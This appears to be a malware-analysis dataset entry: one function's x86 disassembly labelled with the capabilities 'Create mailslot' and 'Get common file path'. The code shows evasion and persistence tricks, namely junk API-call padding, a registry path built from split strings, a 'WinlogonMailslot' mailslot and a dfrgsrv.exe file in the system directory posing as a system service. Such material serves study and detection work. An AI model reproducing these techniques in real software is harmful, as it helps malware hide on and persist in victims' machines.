Function at 0x100036fd
Capabilities:
Create mailslot
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x334
push ebx
push esi
push edi
push str.ntEx
push 0x100074a0
push 0x1000749c
push 0x10007498
push 0x10007494
push 0x100071d0
lea eax, [ebp - 0x334]
push str._s_s_sur_s_sve_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, dword [sym.imp.USER32.dll_GetClassNameA]
add esp, 0x20
xor edi, edi
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
lea eax, [ebp - 0x334]
push eax
call fcn.10005554
pop ecx
cmp eax, edi
mov dword [ebp - 4], eax
je 0x10003a45
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
cmp eax, 0xb7
jne 0x100037ee
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10003a45
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push 0x104
lea eax, [ebp - 0x230]
push eax
push dword [0x100083b0]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x230]
push 0x100083b4
push eax
call fcn.10005ddd
test al, al
pop ecx
pop ecx
je 0x10003a45
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push 0x1000747c
push 0x10007478
push str.orer_
push str.expl
push str.entVersionpolicies_
push str.dows
push str.SOFTWAREMicros
push str._softWin_sCurr_s_s_s_s_s
push 0x100083e0
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x10]
push eax
mov dword [0x1000835c], 0x100083e0
call fcn.100054ea
add esp, 0x2c
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
lea eax, [ebp - 0x10]
push eax
push 0xffffffffffffffff
push edi
push str..mailslotWinlogonMailslot
call dword [sym.imp.KERNEL32.dll_CreateMailslotA]
push 0xc
mov dword [0x100083d0], eax
call fcn.10004307
cmp eax, edi
pop ecx
je 0x10003942
push 1
push 0x10008358
mov ecx, eax
call fcn.10005b99
mov dword [0x100083d4], eax
jmp 0x10003948
mov dword [0x100083d4], edi
push 0x18
call fcn.10004307
cmp eax, edi
pop ecx
je 0x10003962
mov ecx, eax
call fcn.10004256
mov dword [0x100083d8], eax
jmp 0x10003968
mov dword [0x100083d8], edi
push 0x104
lea eax, [ebp - 0x128]
push eax
mov dword [ebp - 0x12c], 1
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x100073f8
lea eax, [ebp - 0x128]
push eax
call esi
push str.dfrgsrv.exe
lea eax, [ebp - 0x128]
push eax
call esi
mov ecx, dword [0x100083d8]
lea eax, [ebp - 0x12c]
push eax
call fcn.10003aa0
call fcn.1000446b
push eax
lea eax, [ebp - 0x128]
push eax
call esi
mov ecx, dword [0x100083d8]
lea eax, [ebp - 0x12c]
push eax
call fcn.10003aa0
mov esi, dword [ebp - 4]
push edi
push 0x10003eaf
mov dword [0x100083c8], esi
call fcn.1000560a
push esi
push 0x10003312
mov dword [0x100083cc], eax
call fcn.1000560a
add esp, 0x10
mov dword [0x100083c4], eax
call fcn.1000274a
push edi
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 0x100034a9
call fcn.1000560a
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret